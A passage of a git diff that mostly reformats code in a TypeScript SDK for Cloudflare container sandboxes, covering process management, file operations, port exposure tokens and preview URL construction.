- isProcessStatus -} from "@repo/shared"; +export { isExecResult, isProcess, isProcessStatus } from '@repo/shared'; // Export all client types from new architecture export type { BaseApiResponse, @@ -79,15 +77,24 @@ export type { StartProcessRequest, UnexposePortRequest, WriteFileRequest -} from "./clients"; -export type { ExecutionCallbacks, InterpreterClient } from './clients/interpreter-client.js'; +} from './clients'; +export type { + ExecutionCallbacks, + InterpreterClient +} from './clients/interpreter-client.js'; // Export file streaming utilities for binary file support export { collectFile, streamFile } from './file-stream'; // Export interpreter functionality export { CodeInterpreter } from './interpreter.js'; // Re-export request handler utilities export { - proxyToSandbox, type RouteInfo, type SandboxEnv + proxyToSandbox, + type RouteInfo, + type SandboxEnv } from './request-handler'; // Export SSE parser for converting ReadableStream to AsyncIterable -export { asyncIterableToSSEStream, parseSSEStream, responseToAsyncIterable } from "./sse-parser"; +export { + asyncIterableToSSEStream, + parseSSEStream, + responseToAsyncIterable +} from './sse-parser'; diff --git a/packages/sandbox/src/interpreter.ts b/packages/sandbox/src/interpreter.ts index ba3ee612..ec42cc6f 100644 --- a/packages/sandbox/src/interpreter.ts +++ b/packages/sandbox/src/interpreter.ts @@ -6,11 +6,11 @@ import { type OutputMessage, type Result, ResultImpl, - type RunCodeOptions, -} from "@repo/shared"; -import type { InterpreterClient } from "./clients/interpreter-client.js"; -import type { Sandbox } from "./sandbox.js"; -import { validateLanguage } from "./security.js"; + type RunCodeOptions +} from '@repo/shared'; +import type { InterpreterClient } from './clients/interpreter-client.js'; +import type { Sandbox } from './sandbox.js'; +import { validateLanguage } from './security.js'; export class CodeInterpreter { private interpreterClient: InterpreterClient; @@ -18,7 +18,8 @@ export class CodeInterpreter { constructor(sandbox: Sandbox) { // In init-testing architecture, client is a SandboxClient with an interpreter property - this.interpreterClient = (sandbox.client as any).interpreter as InterpreterClient; + this.interpreterClient = (sandbox.client as any) + .interpreter as InterpreterClient; } /** @@ -46,7 +47,7 @@ export class CodeInterpreter { let context = options.context; if (!context) { // Try to find or create a default context for the language - const language = options.language || "python"; + const language = options.language || 'python'; context = await this.getOrCreateDefaultContext(language); } @@ -54,24 +55,29 @@ export class CodeInterpreter { const execution = new Execution(code, context); // Stream execution - await this.interpreterClient.runCodeStream(context.id, code, options.language, { - onStdout: (output: OutputMessage) => { - execution.logs.stdout.push(output.text); - if (options.onStdout) return options.onStdout(output); - }, - onStderr: (output: OutputMessage) => { - execution.logs.stderr.push(output.text); - if (options.onStderr) return options.onStderr(output); - }, - onResult: async (result: Result) => { - execution.results.push(new ResultImpl(result) as any); - if (options.onResult) return options.onResult(result); - }, - onError: (error: ExecutionError) => { - execution.error = error; - if (options.onError) return options.onError(error); - }, - }); + await this.interpreterClient.runCodeStream( + context.id, + code, + options.language, + { + onStdout: (output: OutputMessage) => { + execution.logs.stdout.push(output.text); + if (options.onStdout) return options.onStdout(output); + }, + onStderr: (output: OutputMessage) => { + execution.logs.stderr.push(output.text); + if (options.onStderr) return options.onStderr(output); + }, + onResult: async (result: Result) => { + execution.results.push(new ResultImpl(result) as any); + if (options.onResult) return options.onResult(result); + }, + onError: (error: ExecutionError) => { + execution.error = error; + if (options.onError) return options.onError(error); + } + } + ); return execution; } @@ -86,36 +92,39 @@ export class CodeInterpreter { // Get or create context let context = options.context; if (!context) { - const language = options.language || "python"; + const language = options.language || 'python'; context = await this.getOrCreateDefaultContext(language); } // Create streaming response // Note: doFetch is protected but we need direct access for raw stream response - const response = await (this.interpreterClient as any).doFetch("/api/execute/code", { - method: "POST", - headers: { - "Content-Type": "application/json", - Accept: "text/event-stream", - }, - body: JSON.stringify({ - context_id: context.id, - code, - language: options.language, - }), - }); + const response = await (this.interpreterClient as any).doFetch( + '/api/execute/code', + { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Accept: 'text/event-stream' + }, + body: JSON.stringify({ + context_id: context.id, + code, + language: options.language + }) + } + ); if (!response.ok) { const errorData = (await response .json() - .catch(() => ({ error: "Unknown error" }))) as { error?: string }; + .catch(() => ({ error: 'Unknown error' }))) as { error?: string }; throw new Error( errorData.error || `Failed to execute code: ${response.status}` ); } if (!response.body) { - throw new Error("No response body for streaming execution"); + throw new Error('No response body for streaming execution'); } return response.body; @@ -144,7 +153,7 @@ export class CodeInterpreter { } private async getOrCreateDefaultContext( - language: "python" | "javascript" | "typescript" + language: 'python' | 'javascript' | 'typescript' ): Promise { // Check if we have a cached context for this language for (const context of this.contexts.values()) { diff --git a/packages/sandbox/src/request-handler.ts b/packages/sandbox/src/request-handler.ts index bc0a9aac..a42a84bf 100644 --- a/packages/sandbox/src/request-handler.ts +++ b/packages/sandbox/src/request-handler.ts @@ -1,10 +1,7 @@ -import { switchPort } from "@cloudflare/containers"; -import { createLogger, type LogContext, TraceContext } from "@repo/shared"; -import { getSandbox, type Sandbox } from "./sandbox"; -import { - sanitizeSandboxId, - validatePort -} from "./security"; +import { switchPort } from '@cloudflare/containers'; +import { createLogger, type LogContext, TraceContext } from '@repo/shared'; +import { getSandbox, type Sandbox } from './sandbox'; +import { sanitizeSandboxId, validatePort } from './security'; export interface SandboxEnv { Sandbox: DurableObjectNamespace; @@ -22,7 +19,8 @@ export async function proxyToSandbox( env: E ): Promise { // Create logger context for this request - const traceId = TraceContext.fromHeaders(request.headers) || TraceContext.generate(); + const traceId = + TraceContext.fromHeaders(request.headers) || TraceContext.generate(); const logger = createLogger({ component: 'sandbox-do', traceId, @@ -98,16 +96,19 @@ export async function proxyToSandbox( 'X-Original-URL': request.url, 'X-Forwarded-Host': url.hostname, 'X-Forwarded-Proto': url.protocol.replace(':', ''), - 'X-Sandbox-Name': sandboxId, // Pass the friendly name + 'X-Sandbox-Name': sandboxId // Pass the friendly name }, body: request.body, // @ts-expect-error - duplex required for body streaming in modern runtimes - duplex: 'half', + duplex: 'half' }); return await sandbox.containerFetch(proxyRequest, port); } catch (error) { - logger.error('Proxy routing error', error instanceof Error ? error : new Error(String(error))); + logger.error( + 'Proxy routing error', + error instanceof Error ? error : new Error(String(error)) + ); return new Response('Proxy routing error', { status: 500 }); } } @@ -115,7 +116,9 @@ export async function proxyToSandbox( function extractSandboxRoute(url: URL): RouteInfo | null { // Parse subdomain pattern: port-sandboxId-token.domain (tokens mandatory) // Token is always exactly 16 chars (generated by generatePortToken) - const subdomainMatch = url.hostname.match(/^(\d{4,5})-([^.-][^.]*?[^.-]|[^.-])-([a-z0-9_-]{16})\.(.+)$/); + const subdomainMatch = url.hostname.match( + /^(\d{4,5})-([^.-][^.]*?[^.-]|[^.-])-([a-z0-9_-]{16})\.(.+)$/ + ); if (!subdomainMatch) { return null; @@ -146,8 +149,8 @@ function extractSandboxRoute(url: URL): RouteInfo | null { return { port, sandboxId: sanitizedSandboxId, - path: url.pathname || "/", - token, + path: url.pathname || '/', + token }; } @@ -163,18 +166,18 @@ export function isLocalhostPattern(hostname: string): boolean { return hostname === '[::1]'; } } - + // Handle bare IPv6 without brackets if (hostname === '::1') { return true; } - + // For IPv4 and regular hostnames, split on colon to remove port - const hostPart = hostname.split(":")[0]; - + const hostPart = hostname.split(':')[0]; + return ( - hostPart === "localhost" || - hostPart === "127.0.0.1" || - hostPart === "0.0.0.0" + hostPart === 'localhost' || + hostPart === '127.0.0.1' || + hostPart === '0.0.0.0' ); } diff --git a/packages/sandbox/src/sandbox.ts b/packages/sandbox/src/sandbox.ts index 345fba56..00c31244 100644 --- a/packages/sandbox/src/sandbox.ts +++ b/packages/sandbox/src/sandbox.ts @@ -1,5 +1,5 @@ import type { DurableObject } from 'cloudflare:workers'; -import { Container, getContainer, switchPort } from "@cloudflare/containers"; +import { Container, getContainer, switchPort } from '@cloudflare/containers'; import type { CodeContext, CreateContextOptions, @@ -16,20 +16,16 @@ import type { SandboxOptions, SessionOptions, StreamOptions -} from "@repo/shared"; -import { createLogger, runWithLogger, TraceContext } from "@repo/shared"; -import { type ExecuteResponse, SandboxClient } from "./clients"; +} from '@repo/shared'; +import { createLogger, runWithLogger, TraceContext } from '@repo/shared'; +import { type ExecuteResponse, SandboxClient } from './clients'; import type { ErrorResponse } from './errors'; import { CustomDomainRequiredError, ErrorCode } from './errors'; -import { CodeInterpreter } from "./interpreter"; -import { isLocalhostPattern } from "./request-handler"; -import { - SecurityError, - sanitizeSandboxId, - validatePort -} from "./security"; -import { parseSSEStream } from "./sse-parser"; -import { SDK_VERSION } from "./version"; +import { CodeInterpreter } from './interpreter'; +import { isLocalhostPattern } from './request-handler'; +import { SecurityError, sanitizeSandboxId, validatePort } from './security'; +import { parseSSEStream } from './sse-parser'; +import { SDK_VERSION } from './version'; export function getSandbox( ns: DurableObjectNamespace, @@ -92,7 +88,7 @@ export async function connect( export class Sandbox extends Container implements ISandbox { defaultPort = 3000; // Default port for the container's Bun server - sleepAfter: string | number = "10m"; // Sleep the sandbox if no requests are made in this timeframe + sleepAfter: string | number = '10m'; // Sleep the sandbox if no requests are made in this timeframe client: SandboxClient; private codeInterpreter: CodeInterpreter; @@ -110,7 +106,7 @@ export class Sandbox extends Container implements ISandbox { const envObj = env as any; // Set sandbox environment variables from env object const sandboxEnvKeys = ['SANDBOX_LOG_LEVEL', 'SANDBOX_LOG_FORMAT'] as const; - sandboxEnvKeys.forEach(key => { + sandboxEnvKeys.forEach((key) => { if (envObj?.[key]) { this.envVars[key] = envObj[key]; } @@ -124,7 +120,7 @@ export class Sandbox extends Container implements ISandbox { this.client = new SandboxClient({ logger: this.logger, port: 3000, // Control plane port - stub: this, + stub: this }); // Initialize code interpreter - pass 'this' after client is ready @@ -133,9 +129,13 @@ export class Sandbox extends Container implements ISandbox { // Load the sandbox name, port tokens, and default session from storage on initialization this.ctx.blockConcurrencyWhile(async () => { - this.sandboxName = await this.ctx.storage.get('sandboxName') || null; - this.defaultSession = await this.ctx.storage.get('defaultSession') || null; - const storedTokens = await this.ctx.storage.get>('portTokens') || {}; + this.sandboxName = + (await this.ctx.storage.get('sandboxName')) || null; + this.defaultSession = + (await this.ctx.storage.get('defaultSession')) || null; + const storedTokens = + (await this.ctx.storage.get>('portTokens')) || + {}; // Convert stored tokens back to Map this.portTokens = new Map(); @@ -159,8 +159,10 @@ export class Sandbox extends Container implements ISandbox { this.baseUrl = baseUrl; await this.ctx.storage.put('baseUrl', baseUrl); } else { - if(this.baseUrl !== baseUrl) { - throw new Error('Base URL already set and different from one previously provided'); + if (this.baseUrl !== baseUrl) { + throw new Error( + 'Base URL already set and different from one previously provided' + ); } } } @@ -174,9 +176,13 @@ export class Sandbox extends Container implements ISandbox { async setKeepAlive(keepAlive: boolean): Promise { this.keepAliveEnabled = keepAlive; if (keepAlive) { - this.logger.info('KeepAlive mode enabled - container will stay alive until explicitly destroyed'); + this.logger.info( + 'KeepAlive mode enabled - container will stay alive until explicitly destroyed' + ); } else { - this.logger.info('KeepAlive mode disabled - container will timeout normally'); + this.logger.info( + 'KeepAlive mode disabled - container will timeout normally' + ); } } @@ -192,10 +198,15 @@ export class Sandbox extends Container implements ISandbox { const escapedValue = value.replace(/'/g, "'\\''"); const exportCommand = `export ${key}='${escapedValue}'`; - const result = await this.client.commands.execute(exportCommand, this.defaultSession); + const result = await this.client.commands.execute( + exportCommand, + this.defaultSession + ); if (result.exitCode !== 0) { - throw new Error(`Failed to set ${key}: ${result.stderr || 'Unknown error'}`); + throw new Error( + `Failed to set ${key}: ${result.stderr || 'Unknown error'}` + ); } } } @@ -213,8 +224,11 @@ export class Sandbox extends Container implements ISandbox { this.logger.debug('Sandbox started'); // Check version compatibility asynchronously (don't block startup) - this.checkVersionCompatibility().catch(error => { - this.logger.error('Version compatibility check failed', error instanceof Error ? error : new Error(String(error))); + this.checkVersionCompatibility().catch((error) => { + this.logger.error( + 'Version compatibility check failed', + error instanceof Error ? error : new Error(String(error)) + ); }); } @@ -234,8 +248,9 @@ export class Sandbox extends Container implements ISandbox { if (containerVersion === 'unknown') { this.logger.warn( 'Container version check: Container version could not be determined. ' + - 'This may indicate an outdated container image. ' + - 'Please update your container to match SDK version ' + sdkVersion + 'This may indicate an outdated container image. ' + + 'Please update your container to match SDK version ' + + sdkVersion ); return; } @@ -251,7 +266,10 @@ export class Sandbox extends Container implements ISandbox { // so we always use warning level as requested by the user this.logger.warn(message); } else { - this.logger.debug('Version check passed', { sdkVersion, containerVersion }); + this.logger.debug('Version check passed', { + sdkVersion, + containerVersion + }); } } catch (error) { // Don't fail the sandbox initialization if version check fails @@ -266,7 +284,10 @@ export class Sandbox extends Container implements ISandbox { } override onError(error: unknown) { - this.logger.error('Sandbox error', error instanceof Error ? error : new Error(String(error))); + this.logger.error( + 'Sandbox error', + error instanceof Error ? error : new Error(String(error)) + ); } /** @@ -275,7 +296,9 @@ export class Sandbox extends Container implements ISandbox { */ override async onActivityExpired(): Promise { if (this.keepAliveEnabled) { - this.logger.debug('Activity expired but keepAlive is enabled - container will stay alive'); + this.logger.debug( + 'Activity expired but keepAlive is enabled - container will stay alive' + ); // Do nothing - don't call stop(), container stays alive } else { // Default behavior: stop the container @@ -284,11 +307,11 @@ export class Sandbox extends Container implements ISandbox { } } - // Override fetch to route internal container requests to appropriate ports override async fetch(request: Request): Promise { // Extract or generate trace ID from request - const traceId = TraceContext.fromHeaders(request.headers) || TraceContext.generate(); + const traceId = + TraceContext.fromHeaders(request.headers) || TraceContext.generate(); // Create request-specific logger with trace ID const requestLogger = this.logger.child({ traceId, operation: 'fetch' }); @@ -366,7 +389,7 @@ export class Sandbox extends Container implements ISandbox { await this.client.utils.createSession({ id: sessionId, env: this.envVars || {}, - cwd: '/workspace', + cwd: '/workspace' }); this.defaultSession = sessionId; @@ -376,7 +399,9 @@ export class Sandbox extends Container implements ISandbox { } catch (error: any) { // If session already exists (e.g., after hot reload), reuse it if (error?.message?.includes('already exists')) { - this.logger.debug('Reusing existing session after reload', { sessionId }); + this.logger.debug('Reusing existing session after reload', { + sessionId + }); this.defaultSession = sessionId; // Persist to storage in case it wasn't saved before await this.ctx.storage.put('defaultSession', sessionId); @@ -420,13 +445,23 @@ export class Sandbox extends Container implements ISandbox { if (options?.stream && options?.onOutput) { // Streaming with callbacks - we need to collect the final result - result = await this.executeWithStreaming(command, sessionId, options, startTime, timestamp); + result = await this.executeWithStreaming( + command, + sessionId, + options, + startTime, + timestamp + ); } else { // Regular execution with session const response = await this.client.commands.execute(command, sessionId); const duration = Date.now() - startTime; - result = this.mapExecuteResponseToExecResult(response, duration, sessionId); + result = this.mapExecuteResponseToExecResult( + response, + duration, + sessionId + ); } // Call completion callback if provided @@ -458,7 +493,10 @@ export class Sandbox extends Container implements ISandbox { let stderr = ''; try { - const stream = await this.client.commands.executeStream(command, sessionId); + const stream = await this.client.commands.executeStream( + command, + sessionId + ); for await (const event of parseSSEStream(stream)) { // Check for cancellation @@ -503,7 +541,6 @@ export class Sandbox extends Container implements ISandbox { // If we get here without a complete event, something went wrong throw new Error('Stream ended without completion event'); - } catch (error) { if (options.signal?.aborted) { throw new Error('Operation was aborted'); @@ -551,8 +588,15 @@ export class Sandbox extends Container implements ISandbox { pid: data.pid, command: data.command, status: data.status, - startTime: typeof data.startTime === 'string' ? new Date(data.startTime) : data.startTime, - endTime: data.endTime ? (typeof data.endTime === 'string' ? new Date(data.endTime) : data.endTime) : undefined, + startTime: + typeof data.startTime === 'string' + ? new Date(data.startTime) + : data.startTime, + endTime: data.endTime + ? typeof data.endTime === 'string' + ? new Date(data.endTime) + : data.endTime + : undefined, exitCode: data.exitCode, sessionId, @@ -572,25 +616,35 @@ export class Sandbox extends Container implements ISandbox { }; } - // Background process management - async startProcess(command: string, options?: ProcessOptions, sessionId?: string): Promise { + async startProcess( + command: string, + options?: ProcessOptions, + sessionId?: string + ): Promise { // Use the new HttpClient method to start the process try { - const session = sessionId ?? await this.ensureDefaultSession(); - const response = await this.client.processes.startProcess(command, session, { - processId: options?.processId - }); - - const processObj = this.createProcessFromDTO({ - id: response.processId, - pid: response.pid, - command: response.command, - status: 'running' as ProcessStatus, - startTime: new Date(), - endTime: undefined, - exitCode: undefined - }, session); + const session = sessionId ?? (await this.ensureDefaultSession()); + const response = await this.client.processes.startProcess( + command, + session, + { + processId: options?.processId + } + ); + + const processObj = this.createProcessFromDTO( + { + id: response.processId, + pid: response.pid, + command: response.command, + status: 'running' as ProcessStatus, + startTime: new Date(), + endTime: undefined, + exitCode: undefined + }, + session + ); // Call onStart callback if provided if (options?.onStart) { @@ -598,7 +652,6 @@ export class Sandbox extends Container implements ISandbox { } return processObj; - } catch (error) { if (options?.onError && error instanceof Error) { options.onError(error); @@ -609,42 +662,52 @@ export class Sandbox extends Container implements ISandbox { } async listProcesses(sessionId?: string): Promise { - const session = sessionId ?? await this.ensureDefaultSession(); + const session = sessionId ?? (await this.ensureDefaultSession()); const response = await this.client.processes.listProcesses(); - return response.processes.map(processData => - this.createProcessFromDTO({ - id: processData.id, - pid: processData.pid, - command: processData.command, - status: processData.status, - startTime: processData.startTime, - endTime: processData.endTime, - exitCode: processData.exitCode - }, session) + return response.processes.map((processData) => + this.createProcessFromDTO( + { + id: processData.id, + pid: processData.pid, + command: processData.command, + status: processData.status, + startTime: processData.startTime, + endTime: processData.endTime, + exitCode: processData.exitCode + }, + session + ) ); } async getProcess(id: string, sessionId?: string): Promise { - const session = sessionId ?? await this.ensureDefaultSession(); + const session = sessionId ?? (await this.ensureDefaultSession()); const response = await this.client.processes.getProcess(id); if (!response.process) { return null; } const processData = response.process; - return this.createProcessFromDTO({ - id: processData.id, - pid: processData.pid, - command: processData.command, - status: processData.status, - startTime: processData.startTime, - endTime: processData.endTime, - exitCode: processData.exitCode - }, session); + return this.createProcessFromDTO( + { + id: processData.id, + pid: processData.pid, + command: processData.command, + status: processData.status, + startTime: processData.startTime, + endTime: processData.endTime, + exitCode: processData.exitCode + }, + session + ); } - async killProcess(id: string, signal?: string, sessionId?: string): Promise { + async killProcess( + id: string, + signal?: string, + sessionId?: string + ): Promise { // Note: signal parameter is not currently supported by the HttpClient implementation // The HTTP client already throws properly typed errors, so we just let them propagate await this.client.processes.killProcess(id); @@ -662,7 +725,10 @@ export class Sandbox extends Container implements ISandbox { return 0; } - async getProcessLogs(id: string, sessionId?: string): Promise<{ stdout: string; stderr: string; processId: string }> { + async getProcessLogs( + id: string, + sessionId?: string + ): Promise<{ stdout: string; stderr: string; processId: string }> { // The HTTP client already throws properly typed errors, so we just let them propagate const response = await this.client.processes.getProcessLogs(id); return { @@ -672,8 +738,11 @@ export class Sandbox extends Container implements ISandbox { }; } -// Streaming methods - return ReadableStream for RPC compatibility - async execStream(command: string, options?: StreamOptions): Promise> { + // Streaming methods - return ReadableStream for RPC compatibility + async execStream( + command: string, + options?: StreamOptions + ): Promise> { // Check for cancellation if (options?.signal?.aborted) { throw new Error('Operation was aborted'); @@ -687,7 +756,11 @@ export class Sandbox extends Container implements ISandbox { /** * Internal session-aware execStream implementation */ - private async execStreamWithSession(command: string, sessionId: string, options?: StreamOptions): Promise> { + private async execStreamWithSession( + command: string, + sessionId: string, + options?: StreamOptions + ): Promise> { // Check for cancellation if (options?.signal?.aborted) { throw new Error('Operation was aborted'); @@ -699,7 +772,10 @@ export class Sandbox extends Container implements ISandbox { /** * Stream logs from a background process as a ReadableStream. */ - async streamProcessLogs(processId: string, options?: { signal?: AbortSignal }): Promise> { + async streamProcessLogs( + processId: string, + options?: { signal?: AbortSignal } + ): Promise> { // Check for cancellation if (options?.signal?.aborted) { throw new Error('Operation was aborted'); @@ -712,7 +788,7 @@ export class Sandbox extends Container implements ISandbox { repoUrl: string, options: { branch?: string; targetDir?: string; sessionId?: string } ) { - const session = options.sessionId ?? await this.ensureDefaultSession(); + const session = options.sessionId ?? (await this.ensureDefaultSession()); return this.client.git.checkout(repoUrl, session, { branch: options.branch, targetDir: options.targetDir @@ -723,8 +799,10 @@ export class Sandbox extends Container implements ISandbox { path: string, options: { recursive?: boolean; sessionId?: string } = {} ) { - const session = options.sessionId ?? await this.ensureDefaultSession(); - return this.client.files.mkdir(path, session, { recursive: options.recursive }); + const session = options.sessionId ?? (await this.ensureDefaultSession()); + return this.client.files.mkdir(path, session, { + recursive: options.recursive + }); } async writeFile( @@ -732,21 +810,19 @@ export class Sandbox extends Container implements ISandbox { content: string, options: { encoding?: string; sessionId?: string } = {} ) { - const session = options.sessionId ?? await this.ensureDefaultSession(); - return this.client.files.writeFile(path, content, session, { encoding: options.encoding }); + const session = options.sessionId ?? (await this.ensureDefaultSession()); + return this.client.files.writeFile(path, content, session, { + encoding: options.encoding + }); } async deleteFile(path: string, sessionId?: string) { - const session = sessionId ?? await this.ensureDefaultSession(); + const session = sessionId ?? (await this.ensureDefaultSession()); return this.client.files.deleteFile(path, session); } - async renameFile( - oldPath: string, - newPath: string, - sessionId?: string - ) { - const session = sessionId ?? await this.ensureDefaultSession(); + async renameFile(oldPath: string, newPath: string, sessionId?: string) { + const session = sessionId ?? (await this.ensureDefaultSession()); return this.client.files.renameFile(oldPath, newPath, session); } @@ -755,7 +831,7 @@ export class Sandbox extends Container implements ISandbox { destinationPath: string, sessionId?: string ) { - const session = sessionId ?? await this.ensureDefaultSession(); + const session = sessionId ?? (await this.ensureDefaultSession()); return this.client.files.moveFile(sourcePath, destinationPath, session); } @@ -763,8 +839,10 @@ export class Sandbox extends Container implements ISandbox { path: string, options: { encoding?: string; sessionId?: string } = {} ) { - const session = options.sessionId ?? await this.ensureDefaultSession(); - return this.client.files.readFile(path, session, { encoding: options.encoding }); + const session = options.sessionId ?? (await this.ensureDefaultSession()); + return this.client.files.readFile(path, session, { + encoding: options.encoding + }); } /** @@ -777,7 +855,7 @@ export class Sandbox extends Container implements ISandbox { path: string, options: { sessionId?: string } = {} ): Promise> { - const session = options.sessionId ?? await this.ensureDefaultSession(); + const session = options.sessionId ?? (await this.ensureDefaultSession()); return this.client.files.readFileStream(path, session); } @@ -790,7 +868,7 @@ export class Sandbox extends Container implements ISandbox { } async exists(path: string, sessionId?: string) { - const session = sessionId ?? await this.ensureDefaultSession(); + const session = sessionId ?? (await this.ensureDefaultSession()); return this.client.files.exists(path, session); } @@ -812,7 +890,9 @@ export class Sandbox extends Container implements ISandbox { // We need the sandbox name to construct preview URLs if (!this.sandboxName) { - throw new Error('Sandbox name not available. Ensure sandbox is accessed through getSandbox()'); + throw new Error( + 'Sandbox name not available. Ensure sandbox is accessed through getSandbox()' + ); } // Generate and store token for this port @@ -820,18 +900,25 @@ export class Sandbox extends Container implements ISandbox { this.portTokens.set(port, token); await this.persistPortTokens(); - const url = this.constructPreviewUrl(port, this.sandboxName, options.hostname, token); + const url = this.constructPreviewUrl( + port, + this.sandboxName, + options.hostname, + token + ); return { url, port, - name: options?.name, + name: options?.name }; } async unexposePort(port: number) { if (!validatePort(port)) { - throw new SecurityError(`Invalid port number: ${port}. Must be between 1024-65535 and not reserved.`); + throw new SecurityError( + `Invalid port number: ${port}. Must be between 1024-65535 and not reserved.` + ); } const sessionId = await this.ensureDefaultSession(); @@ -850,32 +937,44 @@ export class Sandbox extends Container implements ISandbox { // We need the sandbox name to construct preview URLs if (!this.sandboxName) { - throw new Error('Sandbox name not available. Ensure sandbox is accessed through getSandbox()'); + throw new Error( + 'Sandbox name not available. Ensure sandbox is accessed through getSandbox()' + ); } - return response.ports.map(port => { + return response.ports.map((port) => { // Get token for this port - must exist for all exposed ports const token = this.portTokens.get(port.port); if (!token) { - throw new Error(`Port ${port.port} is exposed but has no token. This should not happen.`); + throw new Error( + `Port ${port.port} is exposed but has no token. This should not happen.` + ); } return { - url: this.constructPreviewUrl(port.port, this.sandboxName!, hostname, token), + url: this.constructPreviewUrl( + port.port, + this.sandboxName!, + hostname, + token + ), port: port.port, - status: port.status, + status: port.status }; }); } - async isPortExposed(port: number): Promise { try { const sessionId = await this.ensureDefaultSession(); const response = await this.client.ports.getExposedPorts(sessionId); - return response.ports.some(exposedPort => exposedPort.port === port); + return response.ports.some((exposedPort) => exposedPort.port === port); } catch (error) { - this.logger.error('Error checking if port is exposed', error instanceof Error ? error : new Error(String(error)), { port }); + this.logger.error( + 'Error checking if port is exposed', + error instanceof Error ? error : new Error(String(error)), + { port } + ); return false; } } @@ -891,7 +990,11 @@ export class Sandbox extends Container implements ISandbox { const storedToken = this.portTokens.get(port); if (!storedToken) { // This should not happen - all exposed ports must have tokens - this.logger.error('Port is exposed but has no token - bug detected', undefined, { port }); + this.logger.error( + 'Port is exposed but has no token - bug detected', + undefined, + { port } + ); return false; } @@ -899,7 +1002,6 @@ export class Sandbox extends Container implements ISandbox { return storedToken === token; } - private generatePortToken(): string { // Generate cryptographically secure 16-character token using Web Crypto API // Available in Cloudflare Workers runtime @@ -908,7 +1010,11 @@ export class Sandbox extends Container implements ISandbox { // Convert to base64url format (URL-safe, no padding, lowercase) const base64 = btoa(String.fromCharCode(...array)); - return base64.replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '').toLowerCase(); + return base64 + .replace(/\+/g, '-') + .replace(/\//g, '_') + .replace(/=/g, '') + .toLowerCase(); } private async persistPortTokens(): Promise { @@ -920,9 +1026,16 @@ export class Sandbox extends Container implements ISandbox { await this.ctx.storage.put('portTokens', tokensObj); } - private constructPreviewUrl(port: number, sandboxId: string, hostname: string, token: string): string { + private constructPreviewUrl( + port: number, + sandboxId: string, + hostname: string, + token: string + ): string { if (!validatePort(port)) { - throw new SecurityError(`Invalid port number: ${port}. Must be between 1024-65535 and not reserved.`); + throw new SecurityError( + `Invalid port number: ${port}. Must be between 1024-65535 and not reserved.` + ); } // Validate sandbox ID (will throw SecurityError if invalid) @@ -944,14 +1057,18 @@ export class Sandbox extends Container implements ISandbox { return baseUrl.toString(); } catch (error) { - throw new SecurityError(`Failed to construct preview URL: ${error instanceof Error ? error.message : 'Unknown error'}`); + throw new SecurityError( + `Failed to construct preview URL: ${ + error instanceof Error ? error.message : 'Unknown error' + }` + ); } } // Production subdomain logic - enforce HTTPS try { // Always use HTTPS for production (non-localhost) - const protocol = "https"; + const protocol = 'https'; const baseUrl = new URL(`${protocol}://${hostname}`); // Construct subdomain safely with mandatory token @@ -960,7 +1077,11 @@ export class Sandbox extends Container implements ISandbox { return baseUrl.toString(); } catch (error) { - throw new SecurityError(`Failed to construct preview URL: ${error instanceof Error ? error.message : 'Unknown error'}`); + throw new SecurityError( + `Failed to construct preview URL: ${ + error instanceof Error ? error.message : 'Unknown error' + }` + ); } } @@ -979,7 +1100,7 @@ export class Sandbox extends Container implements ISandbox { await this.client.utils.createSession({ id: sessionId, env: options?.env, - cwd: options?.cwd, + cwd: options?.cwd }); // Return wrapper that binds sessionId to all operations @@ -1010,32 +1131,42 @@ export class Sandbox extends Container implements ISandbox { id: sessionId, // Command execution - delegate to internal session-aware methods - exec: (command, options) => this.execWithSession(command, sessionId, options), - execStream: (command, options) => this.execStreamWithSession(command, sessionId, options), + exec: (command, options) => + this.execWithSession(command, sessionId, options), + execStream: (command, options) => + this.execStreamWithSession(command, sessionId, options), // Process management - startProcess: (command, options) => this.startProcess(command, options, sessionId), + startProcess: (command, options) => + this.startProcess(command, options, sessionId), listProcesses: () => this.listProcesses(sessionId), getProcess: (id) => this.getProcess(id, sessionId), killProcess: (id, signal) => this.killProcess(id, signal), killAllProcesses: () => this.killAllProcesses(), cleanupCompletedProcesses: () => this.cleanupCompletedProcesses(), getProcessLogs: (id) => this.getProcessLogs(id), - streamProcessLogs: (processId, options) => this.streamProcessLogs(processId, options), + streamProcessLogs: (processId, options) => + this.streamProcessLogs(processId, options), // File operations - pass sessionId via options or parameter - writeFile: (path, content, options) => this.writeFile(path, content, { ...options, sessionId }), - readFile: (path, options) => this.readFile(path, { ...options, sessionId }), + writeFile: (path, content, options) => + this.writeFile(path, content, { ...options, sessionId }), + readFile: (path, options) => + this.readFile(path, { ...options, sessionId }), readFileStream: (path) => this.readFileStream(path, { sessionId }), mkdir: (path, options) => this.mkdir(path, { ...options, sessionId }), deleteFile: (path) => this.deleteFile(path, sessionId), - renameFile: (oldPath, newPath) => this.renameFile(oldPath, newPath, sessionId), - moveFile: (sourcePath, destPath) => this.moveFile(sourcePath, destPath, sessionId), - listFiles: (path, options) => this.client.files.listFiles(path, sessionId, options), + renameFile: (oldPath, newPath) => + this.renameFile(oldPath, newPath, sessionId), + moveFile: (sourcePath, destPath) => + this.moveFile(sourcePath, destPath, sessionId), + listFiles: (path, options) => + this.client.files.listFiles(path, sessionId, options), exists: (path) => this.exists(path, sessionId), // Git operations - gitCheckout: (repoUrl, options) => this.gitCheckout(repoUrl, { ...options, sessionId }), + gitCheckout: (repoUrl, options) => + this.gitCheckout(repoUrl, { ...options, sessionId }), // Environment management - needs special handling setEnvVars: async (envVars: Record) => { @@ -1045,27 +1176,39 @@ export class Sandbox extends Container implements ISandbox { const escapedValue = value.replace(/'/g, "'\\''"); const exportCommand = `export ${key}='${escapedValue}'`; - const result = await this.client.commands.execute(exportCommand, sessionId); + const result = await this.client.commands.execute( + exportCommand, + sessionId + ); if (result.exitCode !== 0) { - throw new Error(`Failed to set ${key}: ${result.stderr || 'Unknown error'}`); + throw new Error( + `Failed to set ${key}: ${result.stderr || 'Unknown error'}` + ); } } } catch (error) { - this.logger.error('Failed to set environment variables', error instanceof Error ? error : new Error(String(error)), { sessionId }); + this.logger.error( + 'Failed to set environment variables', + error instanceof Error ? error : new Error(String(error)), + { sessionId } + ); throw error; } }, // Code interpreter methods - delegate to sandbox's code interpreter - createCodeContext: (options) => this.codeInterpreter.createCodeContext(options), + createCodeContext: (options) => + this.codeInterpreter.createCodeContext(options), runCode: async (code, options) => { const execution = await this.codeInterpreter.runCode(code, options); return execution.toJSON(); }, - runCodeStream: (code, options) => this.codeInterpreter.runCodeStream(code, options), + runCodeStream: (code, options) => + 